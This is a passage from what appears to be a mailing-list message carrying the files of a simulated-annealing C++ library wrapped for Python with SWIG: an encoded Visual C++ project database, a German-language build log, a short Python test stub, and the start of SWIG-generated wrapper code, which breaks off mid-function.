biBBRlhfREFUQSBQUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUpCiNkZWZp bmUgRVhUX1NOQVBJTk1FTlVJRChpZCkKI2RlZmluZSBJTVBMRU1FTlRfRFVBTF9FUlJPUklO Rk8ob2JqZWN0Q2xhc3MsIHJpaWRTb3VyY2UpCiNkZWZpbmUgSU1QTEVNRU5UX0RZTkFNSUMo Y2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lKQojZGVmaW5lIElNUExFTUVOVF9EWU5DUkVB VEUoY2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lKQojZGVmaW5lIElNUExFTUVOVF9PTEVD UkVBVEUoY2xhc3NfbmFtZSwgZXh0ZXJuYWxfbmFtZSwgbCwgdzEsIHcyLCBiMSwgYjIsIGIz LCBiNCwgYjUsIGI2LCBiNywgYjgpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNSRUFURV9FWChj bGFzc19uYW1lLCBleHRlcm5hbF9uYW1lLCBsLCB3MSwgdzIsIGIxLCBiMiwgYjMsIGI0LCBi NSwgYjYsIGI3LCBiOCkKI2RlZmluZSBJTVBMRU1FTlRfT0xFQ1RMVFlQRShjbGFzc19uYW1l LCBpZHNVc2VyVHlwZU5hbWUsIGR3T2xlTWlzYykKI2RlZmluZSBJTVBMRU1FTlRfT0xFVFlQ RUxJQihjbGFzc19uYW1lLCB0bGlkLCB3VmVyTWFqb3IsIHdWZXJNaW5vcikKI2RlZmluZSBJ TVBMRU1FTlRfU0VSSUFMKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSwgd1NjaGVtYSkK I2RlZmluZSBJTklUX0lOVEVSRkFDRV9QQVJUKHRoZUNsYXNzLCBsb2NhbENsYXNzKQojZGVm aW5lIFBST0NFU1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkgQUZYX0RBBgABAAQA gARgAwMAmAAAAAAAAAAAAAAAAABDL0MrKwAAAAAAAAAAADAgvncZAEsAAQEMAHRtAVABAAAA iPSyAFgc4HNQhQAAEEywAAg0ewEAAAAAAAAAAAAAAADQ+KcAFAAAAP////8UAAAAJgAAAAAA AAAaAAAADgAAAOc3ewEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADpD OlxBcmJlaXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1pZXJlclxURU1cc2ltYW5uZWFsX3dyYXAu Y3BwJnsyQUUyN0EzQy0xN0Y1LTExRDAtQUYxQi0wMEEwQzkwRjlERTZ9AAAsAAAAAAAAAAEA AAD///////////z////i////AAAAAAAAAAATAwAA/gEAAAIAmAAAAAAAAAAAAAAAAABDL0Mr KwAAAAAAAAAAADAgvncZAEsAAQEMAHRtAVABAAAAiPSyAFgc4HNQhQAAEEywAAg0ewEAAAAA AAAAAAAAAADQ+KcAFAAAAP////8UAAAAJgAAAAAAAAAaAAAADgAAAOc3ewEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMuXHNpbWFubmVhbGZpbGUuY3BwJnsyQUUy N0EzQy0xN0Y1LTExRDAtQUYxQi0wMEEwQzkwRjlERTZ9AAAsAAAAAAAAAAEAAAD///////// //z////i////LAAAADoAAABDAwAAAgIAAAEAmAAAAAAAAAAAAAAAAABDL0MrKwAAAAAAAAAA ADAgvncZAEsAAQEMAHRtAVABAAAAiPSyAFgc4HNQhQAAEEywAAg0ewEAAAAAAAAAAAAAAADQ +KcAFAAAAP////8UAAAAJgAAAAAAAAAaAAAADgAAAOc3ewEAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAABguXHNpbWFubmVhbGZpbGVfd3JhcC5jcHAmezJBRTI3QTND LTE3RjUtMTFEMC1BRjFCLTAwQTBDOTBGOURFNn0AACwAAAAAAAAAAQAAAP///////////P// /+L///8WAAAAHQAAAC0DAAACAgAAAACYAAAAAAAAAAAAAAAAAE5vbmUAAAAAAAAAAAAAMCC+ dxkASwABAQwAdG0BUAEAAACI9LIAWBzgc1CFAAAQTLAACDR7AQAAAAAAAAAAAAAAAND4pwAU AAAA/////xQAAAAmAAAAAAAAABoAAAAOAAAA5zd7AQAAAAAAAAAAAAAAAAAAAAAAABUAAAAA AAAAFQAAAAAAAAAAAAAAES5cc2ltYW5uZWFsZmlsZS5pJnszNDg2Njk4RC00OUVCLTExQ0Yt QkY0Ni0wMEFBMDA0QzEyRTJ9AAAsAAAAAgAAAAMAAAD///////////z////i////QgAAAFcA AABZAwAAAgIAAGRlbmN5RmlsZQYIFFNTQlIHY2V2YWwuaAEADwBDRGVwZW5kZW5jeUZpbGUG CBRTU0JSC3RyYWNlYmFjay5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMbW9kc3VwcG9y dC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIJb2JqaW1wbC5oAQAPAENEZXBlbmRlbmN5 RmlsZQYIFFNTQlIMcGF0Y2hsZXZlbC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIOc3Ry aW5nb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgxsaXN0b2JqZWN0LmgBAA8A Q0RlcGVuZGVuY3lGaWxlBggUU1NCUg5tb2R1bGVvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZp bGUGCBRTU0JSC2ludG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIJYmFzZXRz ZC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlILcHl0aG9ucnVuLmgBAA8AQ0RlcGVuZGVu Y3lGaWxlBggUU1NCUghpbXBvcnQuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSD2NvbXBs ZXhvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCXB5ZGVidWcuaAEADwBDRGVw ZW5kZW5jeUZpbGUGCBRTU0JSDXNsaWNlb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggU U1NCUgxmaWxlb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgpweWVycm9ycy5o AQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIIY29uZmlnLmgBAA8AQ0RlcGVuZGVuY3lGaWxl BggUU1NCUgdweW1lbS5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIOYnVmZmVyb2JqZWN0 LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgxkaWN0b2JqZWN0LmgBAA8AQ0RlcGVuZGVu Y3lGaWxlBggUU1NCUgUIFERKVwUIFERKVwUIFERKV2RlZmluZSBORVRfQVBJX0ZVTkNUSU9O IF9fc3RkY2FsbAojZGVmaW5lIE5UQVBJIF9fc3RkY2FsbAojZGVmaW5lIHBhc2NhbCBfX3N0 ZGNhbGwKI2RlZmluZSBQQVNDQUwgX19zdGRjYWxsCiNkZWZpbmUgUlBDX0VOVFJZIF9fc3Rk Y2FsbAojZGVmaW5lIFJQQ19WQVJfRU5UUlkgX19jZGVjbAojZGVmaW5lIFNJWkVfVF9NQVgg VUlOVF9NQVgKI2RlZmluZSBTUUxfQVBJIF9fc3RkY2FsbAojZGVmaW5lIFNSVkFQSQojZGVm aW5lIFNUREFQSSBIUkVTVUxUIFNUREFQSUNBTExUWVBFCiNkZWZpbmUgU1REQVBJXyh0eXBl KSB0eXBlIFNUREFQSUNBTExUWVBFCiNkZWZpbmUgU1REQVBJQ0FMTFRZUEUgX19zdGRjYWxs CiNkZWZpbmUgU1REQVBJViBIUkVTVUxUIFNUREFQSVZDQUxMVFlQRQojZGVmaW5lIFNUREFQ SVZfKHR5cGUpIHR5cGUgU1REQVBJVkNBTExUWVBFCiNkZWZpbmUgU1REQVBJVkNBTExUWVBF IF9fY2RlY2wKI2RlZmluZSBTVERNRVRIT0QobWV0aG9kKSB2aXJ0dWFsIEhSRVNVTFQgU1RE TUVUSE9EQ0FMTFRZUEUgbWV0aG9kCiNkZWZpbmUgU1RETUVUSE9EXyh0eXBlLG1ldGhvZCkg dmlydHVhbCB0eXBlIFNURE1FVEhPRENBTExUWVBFIG1ldGhvZAojZGVmaW5lIFNURE1FVEhP RENBTExUWVBFIF9fc3RkY2FsbAojZGVmaW5lIFNURE1FVEhPRElNUCBIUkVTVUxUIFNURE1F VEhPRENBTExUWVBFCiNkZWZpbmUgU1RETUVUSE9ESU1QXyh0eXBlKSB0eXBlIFNURE1FVEhP RENBTExUWVBFCiNkZWZpbmUgU1RETUVUSE9ESU1QViBIUkVTVUxUIFNURE1FVEhPRFZDQUxM VFlQRQojZGVmaW5lIFNURE1FVEhPRElNUFZfKHR5cGUpIHR5cGUgU1RETUVUSE9EVkNBTExU WVBFCiNkZWZpbmUgU1RETUVUSE9EVkNBTExUWVBFIF9fY2RlY2wKI2RlZmluZSBTVERNQVBJ SU5JVENBTExUWVBFIF9fY2RlY2wKI2RlZmluZSBVTkFMSUdORUQKI2RlZmluZSBWRldBUElW CiNkZWZpbmUgV0RCR0FQSSBfX3N0ZGNhbGwKI2RlZmluZSBXSU5BUEkgX19zdGRjYWxsCiNk ZWZpbmUgV0lOQVBJViBfX2NkZWNsCiNkZWZpbmUgV0lOT0xFQVBJIEhSRVNVTFQgU1REQVBJ Q0FMTFRZUEUKI2RlZmluZSBXSU5PTEVBUElfKHR5cGUpIHR5cGUgU1REQVBJQ0FMTFRZUEUK I2RlZmluZSBhZnhfbXNnCiNkZWZpbmUgQVRMX05PX1ZUQUJMRSBfX2RlY2xzcGVjKG5vdnRh YmxlKQojZGVmaW5lIEFUTEFQSSBIUkVTVUxUCiNkZWZpbmUgQVRMQVBJXyh4KSB4CiNkZWZp bmUgQUZYX0NERUNMIF9fY2RlY2wKI2RlZmluZSBBRlhfQ0xBU1NfRVhQT1JUIF9fZGVjbHNw YJCzAAAAAAABAQEBAQEIAEVfRVgoY2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX09MRUNU TFRZUEUoY2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX09MRVRZUEVMSUIoY2xhc3NfbmFt ZSkKI2RlZmluZSBERUNMQVJFX09OTFlfQUdHUkVHQVRBQkxFKHgpCiNkZWZpbmUgREVDTEFS RV9PUEFRVUUzMih4KQojZGVmaW5lIERFQ0xBUkVfUEFSU0VfTUFQKCkKI2RlZmluZSBERUNM QVJFX1BPTFlfQUdHUkVHQVRBQkxFKHgpCiNkZWZpbmUgREVDTEFSRV9QUk9QRVJUWV9TVVBQ T1JUKGNsYXNzKQojZGVmaW5lIERFQ0xBUkVfUFJPUFBBR0VJRFMoY2xhc3NfbmFtZSkKI2Rl ZmluZSBERUNMQVJFX1BST1RFQ1RfRklOQUxfQ09OU1RSVUNUKCkKI2RlZmluZSBERUNMQVJF X1JFR0lTVFJZKGNsYXNzLCBwaWQsIHZwaWQsIG5pZCwgZmxhZ3MpCiNkZWZpbmUgREVDTEFS RV9SRUdJU1RSWV9SRVNPVVJDRSh4KQojZGVmaW5lIERFQ0xBUkVfUkVHSVNUUllfUkVTT1VS Q0VJRCh4KQojZGVmaW5lIERFQ0xBUkVfU0VSSUFMKGNsYXNzX25hbWUpCiNkZWZpbmUgREVD TEFSRV9TVEFUSUNfUkVHSVNUUllfUkVTT1VSQ0UoeCkKI2RlZmluZSBERUNMQVJFX1NUQVRJ Q19SRUdJU1RSWV9SRVNPVVJDRUlEKHgpCiNkZWZpbmUgREVDTEFSRV9WSUVXX1NUQVRVUyhz dGF0dXNGbGFncykKI2RlZmluZSBERUNMQVJFX1dORF9DTEFTUyhXbmRDbGFzc05hbWUpCiNk ZWZpbmUgREVDTEFSRV9XTkRfU1VQRVJDTEFTUyhXbmRDbGFzc05hbWUsIE9yaWdXbmRDbGFz c05hbWUpCiNkZWZpbmUgREVGSU5FX0NPTU1BTkQoeCwgc3pDb21tYW5kKQojZGVmaW5lIERF TEVHQVRFX0RVQUxfSU5URVJGQUNFKG9iamVjdENsYXNzLCBkdWFsQ2xhc3MpCiNkZWZpbmUg RU5EX0NPTk5FQ1RJT05fUEFSVChsb2NhbENsYXNzKSB9IG1feCMjbJQDAQIBAGFzGGm0AHgB AwBkIGNsYXNzIFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRU5EX0RVQUxfSU5URVJGQUNFX1BB UlQobG9jYWxDbGFzcykgfSBtX3gjI2xvY2FsQ2xhc3M7IGZyaWVuZCBjbGFzcyBYIyNsb2Nh bENsYXNzOwojZGVmaW5lIEVORF9JTlRFUkZBQ0VfUEFSVChsb2NhbENsYXNzKSB9IG1feCMj bG9jYWxDbGFzczsgZnJpZW5kIGNsYXNzIFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRVhURVJO X1BST0NFU1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkgZXh0ZXJuIEFGWF9EQVRB IFBST0NFU1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkKI2RlZmluZSBFWFRfU05B UElOTUVOVUlEKGlkKQojZGVmaW5lIElNUExFTUVOVF9EVUFMX0VSUk9SSU5GTyhvYmplY3RD bGFzcywgcmlpZFNvdXJjZSkKI2RlZmluZSBJTVBMRU1FTlRfRFlOQU1JQyhjbGFzc19uYW1l LCBiYXNlX2NsYXNzX25hbWUpCiNkZWZpbmUgSU1QTEVNRU5UX0RZTkNSRUFURShjbGFzc19u YW1lLCBiYXNlX2NsYXNzX25hbWUpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNSRUFURShjbGFz c19uYW1lLCBleHRlcm5hbF9uYW1lLCBsLCB3MSwgdzIsIGIxLCBiMiwgYjMsIGI0LCBiNSwg YjYsIGI3LCBiOCkKI2RlZmluZSBJTVBMRU1FTlRfT0xFQ1JFQVRFX0VYKGNsYXNzX25hbWUs IGV4dGVybmFsX25hbWUsIGwsIHcxLCB3MiwgYjEsIGIyLCBiMywgYjQsIGI1LCBiNiwgYjcs IGI4KQojZGVmaW5lIElNUExFTUVOVF9PTEVDVExUWVBFKGNsYXNzX25hbWUsIGlkc1VzZXJU eXBlTmFtZSwgZHdPbGVNaXNjKQojZGVmaW5lIElNUExFTUVOVF9PTEVUWVBFTElCKGNsYXNz X25hbWUsIHRsaWQsIHdWZXJNYWpvciwgd1Zlck1pbm9yKQojZGVmaW5lIElNUExFTUVOVF9T RVJJQUwoY2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lLCB3U2NoZW1hKQojZGVmaW5lIElO SVRfSU5URVJGQUNFX1BBUlQodGhlQ2xhc3MsIGxvY2FsQ2xhc3MpCiNkZWZpbmUgUFJPQ0VT U19MT0NBTChjbGFzc19uYW1lLCBpZGVudF9uYW1lKSBBRlhfREEUA4ECAQBDUBhptAB4AQMA Y2FsPGNsYXNzX25hbWU+IGlkZW50X25hbWU7CiNkZWZpbmUgUFVSRSA9IDAKI2RlZmluZSBT TkFQSU5NRU5VSUQoaWQpCiNkZWZpbmUgVEhJUyB2b2lkCiNkZWZpbmUgVEhJU18KI2RlZmlu ZSBUUshGtAAAAAAAAQECAgEBCABZIHRyeSB7CiNkZWZpbmUgQ0FUQ0goY2xhc3NfbmFtZSwg ZSkgfSBjYXRjaCAoY2xhc3NfbmFtZSAqIGUpIHsKI2RlZmluZSBBTkRfQ0FUQ0goY2xhc3Nf bmFtZSwgZSkgfSBjYXRjaCAoY2xhc3NfbmFtZSAqIGUpIHsKI2RlZmluZSBFTkRfQ0FUQ0gg fQojZGVmaW5lIENBVENIX0FMTChlKSB9IGNhdGNoIChDRXhjZXB0aW9uKiBlKSB7CiNkZWZp bmUgQU5EX0NBVENIX0FMTChlKSB9IGNhdGNoIChDRXhjZXB0aW9uKiBlKSB7CiNkZWZpbmUg RU5EX0NBVENIX0FMTCB9CiNkZWZpbmUgQkVHSU5fQ09MVU1OX01BUCh4KSBjbGFzcyBfX05D Ql9fQ09MVU1OXyMjeCA6IHB1YmxpYyBDT0xVTU4gewojZGVmaW5lIEVORF9DT0xVTU5fTUFQ KCkgfTsKI2RlZmluZSBCRUdJTl9DT05UUk9MX01BUCh4KSBjbGFzcyBfX05DQl9fQ09OVFJP TF8jI3ggOiBwdWJsaWMgQ09OVFJPTCB7CiNkZWZpbmUgRU5EX0NPTlRST0xfTUFQKCkgfTsK I2RlZmluZSBCRUdJTl9DT01fTUFQKHgpIGNsYXNzIF9fTkNCX19DT01fIyN4IDogcHVibGlj IENPTSB7CiNkZWZpbmUgRU5EX0NPTV9NQVAoKSB9OwojZGVmaW5lIEJFR0lOX0NPTk5FQ1RJ T05fUE9JTlRfTUFQKHgpIGNsYXNzIF9fTkNCX19DT05ORUNUSU9OUE9JTlRfIyN4IDogcHVi bGljIENPTk5FQ1RJT05fUE9JTlQgewojZGVmaW5lIEVORF9DT05ORUNUSU9OX1BPSU5UX01B UCgpIH07CiNkZWZpbmUgQkVHSU5fRVhURU5TSU9OX1NOQVBJTl9OT0RFSU5GT19NQVAoeCkg Y2xhc3MgX19OQ0JfX0VYVEVOU0lPTlNOQVBJTk5PREVJTkZPXyMjeCA6IHB1YmxpYyBFWFRF TlNJT05fU05BUElOX05PREVJTkZPIHsKI2RlZmluZSBFTkRfRVhURU5TSU9OX1NOQVBJTl9O T0RFSU5GT19NQVAoKSB9OwojZGVmaW5lIEJFR0lOX0ZJTFRF --------------090302080802010307050504 Content-Type: text/html; name="simannealfile.plg" Content-Transfer-Encoding: 8bit Content-Disposition: inline; filename="simannealfile.plg"

Erstellungsprotokoll

--------------------Konfiguration: simannealfile - Win32 Debug--------------------

Befehlszeilen

Erstellen der temporären Datei "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP137.bat" mit Inhalten [ @echo off echo In order to function correctly, please ensure the following environment variables are correctly set: echo PYTHON_INCLUDE: %PYTHON_INCLUDE% echo PYTHON_LIB: %PYTHON_LIB% echo on swig -python -c++ -o .\simannealfile_wrap.cpp .\simannealfile.i ] Erstellen der Befehlzeile "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP137.bat" Erstellen der temporären Datei "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP138.tmp" mit Inhalten [ /nologo /MTd /W3 /GX /Od /I "c:\python21\include" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /Fp"Debug/simannealfile.pch" /YX /Fo"Debug/" /Fd"Debug/" /FD /GZ /c "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\basisfile.cpp" "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\calculate.cpp" "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\evaluate.cpp" "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\safe_string.cpp" "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.cpp" "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile_wrap.cpp" "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\variable.cpp" ] Creating command line "cl.exe @C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP138.tmp" SWIG Routine In order to function correctly, please ensure the following environment variables are correctly set: PYTHON_INCLUDE: c:\python21\include PYTHON_LIB: c:\python21\libs\python21.lib C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile>swig -python -c++ -o .\simannealfile_wrap.cpp .\simannealfile.i Erstellen der temporären Datei "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP139.tmp" mit Inhalten [ kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib c:\python21\libs\python21.lib /nologo /dll /incremental:no /pdb:"Debug/simannealfile.pdb" /machine:I386 /out:"simannealfile.dll" /implib:"Debug/simannealfile.lib" /libpath:"C:\Python21\libs" .\Debug\basisfile.obj .\Debug\calculate.obj .\Debug\evaluate.obj .\Debug\safe_string.obj .\Debug\simannealfile.obj .\Debug\simannealfile_wrap.obj .\Debug\variable.obj ] Erstellen der Befehlzeile "link.exe @C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP139.tmp"

Ausgabefenster

Kompilierung läuft... basisfile.cpp calculate.cpp evaluate.cpp safe_string.cpp simannealfile.cpp simannealfile_wrap.cpp variable.cpp Linker-Vorgang läuft... Bibliothek Debug/simannealfile.lib und Objekt Debug/simannealfile.exp wird erstellt

Ergebnisse

simannealfile.dll - 0 Fehler, 0 Warnung(en)
--------------090302080802010307050504 Content-Type: text/plain; name="simannealfile.py" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="simannealfile.py" #import string,re,sys,glob,operator import simannealfile #instance1=simannealfile.simulated_annealing #print 'test=',instance1 --------------090302080802010307050504 Content-Type: text/plain; name="simannealfile_wrap.cpp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="simannealfile_wrap.cpp" /* ---------------------------------------------------------------------------- * This file was automatically generated by SWIG (http://www.swig.org). * Version 1.3.9u-20010926-0849 * * This file is not intended to be easily readable and contains a number of * coding conventions designed to improve portability and efficiency. Do not make * changes to this file unless you know what you are doing--modify the SWIG * interface file instead. * ----------------------------------------------------------------------------- */ #define SWIGPYTHON /*********************************************************************** * common.swg * * This file contains generic SWIG runtime support for pointer * type checking as well as a few commonly used macros to control * external linkage. * * Author : David Beazley (beazley@cs.uchicago.edu) * * Copyright (c) 1999-2000, The University of Chicago * * This file may be freely redistributed without license or fee provided * this copyright message remains intact. ************************************************************************/ #include #if defined(_WIN32) || defined(__WIN32__) # if defined(_MSC_VER) # if defined(STATIC_LINKED) # define SWIGEXPORT(a) a # else # define SWIGEXPORT(a) __declspec(dllexport) a # endif # else # if defined(__BORLANDC__) # define SWIGEXPORT(a) a _export # else # define SWIGEXPORT(a) a # endif #endif #else # define SWIGEXPORT(a) a #endif #ifdef SWIG_GLOBAL #define SWIGRUNTIME(a) SWIGEXPORT(a) #else #define SWIGRUNTIME(a) static a #endif typedef void *(*swig_converter_func)(void *); #ifdef __cplusplus extern "C" { #endif typedef struct swig_type_info { const char *name; swig_converter_func converter; const char *str; struct swig_type_info *next; struct swig_type_info *prev; } swig_type_info; #ifdef SWIG_NOINCLUDE SWIGEXPORT(swig_type_info *) SWIG_TypeRegister(swig_type_info *); SWIGEXPORT(swig_type_info *) SWIG_TypeCheck(char *c, swig_type_info *); SWIGEXPORT(void *) SWIG_TypeCast(swig_type_info *, void *); SWIGEXPORT(swig_type_info *) SWIG_TypeQuery(const char *); #else static swig_type_info *swig_type_list = 0; /* Register a type mapping with the type-checking */ SWIGRUNTIME(swig_type_info *) SWIG_TypeRegister(swig_type_info *ti) { swig_type_info *tc, *head, *ret, *next; /* Check to see if this type has already been registered */ tc = swig_type_list; while (tc) { if (strcmp(tc->name, ti->name) == 0) { /* Already exists in the table. Just add additional types to the list */ head = tc; next = tc->next; goto l1; } tc = tc->prev; } head = ti; next = 0; /* Place in list */ ti->prev = swig_type_list; swig_type_list = ti; /* Build linked lists */ l1: ret = head; tc = ti + 1; /* Patch up the rest of the links */ while (tc->name) { head->next = tc; tc->prev = head; head = tc; tc++; } head->next = next; return ret; } /* Check the typename */ SWIGRUNTIME(swig_type_info *) SWIG_TypeCheck(char *c, swig_type_info *ty) { swig_type_info *s; if (!ty) return 0; /* Void pointer */ s = ty->next; /* First element always just a name */ while (s) { if (strcmp(s->name,c) == 0) { if (s == ty->next) return s; /* Move s to the top of the linked list */ s->prev->next = s->next; if (s->next) { s->next->prev = s->prev; } /* Insert s as second element in the list */ s->next = ty->next; if (ty->next) ty->next->prev = s; ty->next = s; return s; } s = s->next; } return 0; } /* Cast a pointer (needed for C++ inheritance */ SWIGRUNTIME(void *) SWIG_TypeCast(swig_type_info *ty, void *ptr) { if ((!ty) || (!ty->converter)) return ptr; return (*ty->converter)(ptr); } /* Search for a swig_type_info structure */ SWIGRUNTIME(swig_type_info *) SWIG_TypeQuery(const char *name) { swig_type_info *ty = swig_type_list; while (ty) { if (ty->str && (strcmp(name,ty->str) == 0)) return ty; if (ty->name && (strcmp(name,ty->name) == 0)) return ty; ty = ty->prev; } return 0; } #endif #ifdef __cplusplus } #endif /*********************************************************************** * python.swg * * This file contains the runtime support for Python modules * and includes code for managing global variables and pointer * type checking. * * Author : David Beazley (beazley@cs.uchicago.edu) ************************************************************************/ #include #include "Python.h" #ifdef __cplusplus extern "C" { #endif #define SWIG_PY_INT 1 #define SWIG_PY_FLOAT 2 #define SWIG_PY_STRING 3 #define SWIG_PY_POINTER 4 /* Constant information structure */ typedef struct swig_const_info { int type; char *name; long lvalue; double dvalue; void *pvalue; swig_type_info **ptype; } swig_const_info; #ifdef SWIG_NOINCLUDE SWIGEXPORT(PyObject *) SWIG_newvarlink(); SWIGEXPORT(void) SWIG_addvarlink(PyObject *, char *, PyObject *(*)(void), int (*)(PyObject *)); SWIGEXPORT(int) SWIG_ConvertPtr(PyObject *, void **, swig_type_info *, int); SWIGEXPORT(int) SWIG_ConvertPacked(PyObject *, void *, int sz, swig_type_info *, int); SWIGEXPORT(char *) SWIG_PackData(char *c, void *, int); SWIGEXPORT(char *) SWIG_UnpackData(char *c, void *, int); SWIGEXPORT(PyObject *) SWIG_NewPointerObj(void *, swig_type_info *); SWIGEXPORT(PyObject *) SWIG_NewPackedObj(void *, int sz, swig_type_info *); SWIGEXPORT(void) SWIG_InstallConstants(PyObject *d, swig_const_info constants[]); #else /* ----------------------------------------------------------------------------- * global variable support code. * ----------------------------------------------------------------------------- */ typedef struct swig_globalvar { char *name; /* Name of global variable */ PyObject *(*get_attr)(void); /* Return the current value */ int (*set_attr)(PyObject *); /* Set the value */ struct swig_globalvar *next; } swig_globalvar; typedef struct swig_varlinkobject { PyObject_HEAD swig_globalvar *vars; } swig_varlinkobject; static PyObject * swig_varlink_repr(swig_varlinkobject *v) { v = v; return PyString_FromString(""); } static int swig_varlink_print(swig_varlinkobject *v, FILE *fp, int flags) { swig_globalvar *var; flags = flags; fprintf(fp,"Global variables { "); for (var = v->vars; var; var=var->next) { fprintf(fp,"%s", var->name); if (var->next) fprintf(fp,", "); } fprintf(fp," }\n"); return 0; } static PyObject * swig_varlink_getattr(swig_varlinkobject *v, char *n) { swig_globalvar *var = v->vars; while (var) { if (strcmp(var->name,n) == 0) { return (*var->get_attr)(); } var = var->next; } PyErr_SetString(PyExc_NameError,"Unknown C global variable"); return NULL; } static int swig_varlink_setattr(swig_varlinkobject *v, char *n, PyObject *p) { swig_globalvar *var = v->vars; while (var) { if (strcmp(var->name,n) == 0) { return (*var->set_attr)(p); } var = var->next; } PyErr_SetString(PyExc_NameError,"Unknown C global variable"); return 1; } statichere PyTypeObject varlinktype = { PyObject_HEAD_INIT(0) 0, (char *)"swigvarlink", /* Type name */ sizeof(swig_varlinkobject), /* Basic size */ 0, /* Itemsize */ 0, /* Deallocator */ (printfunc) swig_varlink_print, /* Print */ (getattrfunc) swig_varlink_getattr, /* get attr */ (setattrfunc) swig_varlink_setattr, /* Set attr */ 0, /* tp_compare */ (reprfunc) swig_varlink_repr, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_mapping*/ 0, /* tp_hash */ }; /* Create a variable linking object for use later */ SWIGRUNTIME(PyObject *) SWIG_newvarlink(void) { swig_varlinkobject *result = 0; result = PyMem_NEW(swig_varlinkobject,1); varlinktype.ob_type = &PyType_Type; /* Patch varlinktype into a PyType */ result->ob_type = &varlinktype; result->vars = 0; result->ob_refcnt = 0; Py_XINCREF((PyObject *) result); return ((PyObject*) result); } SWIGRUNTIME(void) SWIG_addvarlink(PyObject *p, char *name, PyObject *(*get_attr)(void), int (*set_attr)(PyObject *p)) { swig_varlinkobject *v; swig_globalvar *gv; v= (swig_varlinkobject *) p; gv = (swig_globalvar *) malloc(sizeof(swig_globalvar)); gv->name = (char *) malloc(strlen(name)+1); strcpy(gv->name,name); gv->get_attr = get_attr; gv->set_attr = set_attr; gv->next = v->vars; v->vars = gv; } /* Pack binary data into a string */ SWIGRUNTIME(char *) SWIG_PackData(char *c, void *ptr, int sz) { static char hex[17] = "0123456789abcdef"; int i; unsigned char *u = (unsigned char *) ptr; register unsigned char uu; for (i = 0; i < sz; i++,u++) { uu = *u; *(c++) = hex[(uu & 0xf0) >> 4]; *(c++) = hex[uu & 0xf]; } return c; } /* Unpack binary data from a string */ SWIGRUNTIME(char *) SWIG_UnpackData(char *c, void *ptr, int sz) { register unsigned char uu; register int d; unsigned char *u = (unsigned char *) ptr; int i; for (i = 0; i < sz; i++, u++) { d = *(c++); if ((d >= '0') && (d <= '9')) uu = ((d - '0') << 4); else if ((d >= 'a') && (d <= 'f')) uu = ((d - ('a'-10)) << 4); d = *(c++); if ((d >= '0') && (d <= '9')) uu |= (d - '0'); else if ((d >= 'a') && (d <= 'f')) uu |= (d - ('a'-10)); *u = uu; } return c; } /* Convert a pointer value */ SWIGRUNTIME(int) SWIG_ConvertPtr(PyObject *obj, void **ptr, swig_type_info *ty, int flags) { swig_type_info *tc; char *c; static PyObject *SWIG_this = 0; int newref = 0; if (!obj) return 0; if (obj == Py_None) { *ptr = 0; return 0; } #ifdef SWIG_COBJECT_TYPES if (!(PyCObject_Check(obj))) { if (!SWIG_this) SWIG_this = PyString_InternFromString("this"); obj = PyObject_GetAttr(obj,SWIG_this); newref = 1; if (!obj) goto type_error; if (!PyCObject_Check(obj)) { Py_DECREF(obj); goto type_error; } } *ptr = 